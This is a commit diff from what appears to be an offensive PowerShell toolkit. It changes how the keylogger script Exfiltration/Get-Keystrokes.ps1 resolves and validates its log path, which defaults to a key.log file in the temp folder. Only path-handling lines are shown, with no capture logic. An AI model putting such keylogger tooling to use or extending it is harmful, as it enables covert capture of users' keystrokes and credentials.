aboutsummaryrefslogtreecommitdiff
path: root/Exfiltration/Get-Keystrokes.ps1
diff options
context:
space:
mode:
Diffstat (limited to 'Exfiltration/Get-Keystrokes.ps1')
-rw-r--r--Exfiltration/Get-Keystrokes.ps14
1 files changed, 3 insertions, 1 deletions
diff --git a/Exfiltration/Get-Keystrokes.ps1 b/Exfiltration/Get-Keystrokes.ps1
index 0698d9d..48b7df6 100644
--- a/Exfiltration/Get-Keystrokes.ps1
+++ b/Exfiltration/Get-Keystrokes.ps1
@@ -33,7 +33,7 @@
#>
[CmdletBinding()] Param (
[Parameter(Position = 0)]
- [ValidateScript({Test-Path -Path (Split-Path -Parent $_) -PathType Container})]
+ [ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent $_)) -PathType Container})]
[String]
$LogPath = "$($Env:TEMP)\key.log",
@@ -42,6 +42,8 @@
$CollectionInterval
)
+ $LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath)
+
Write-Verbose "Logging keystrokes to $LogPath"
$Initilizer = {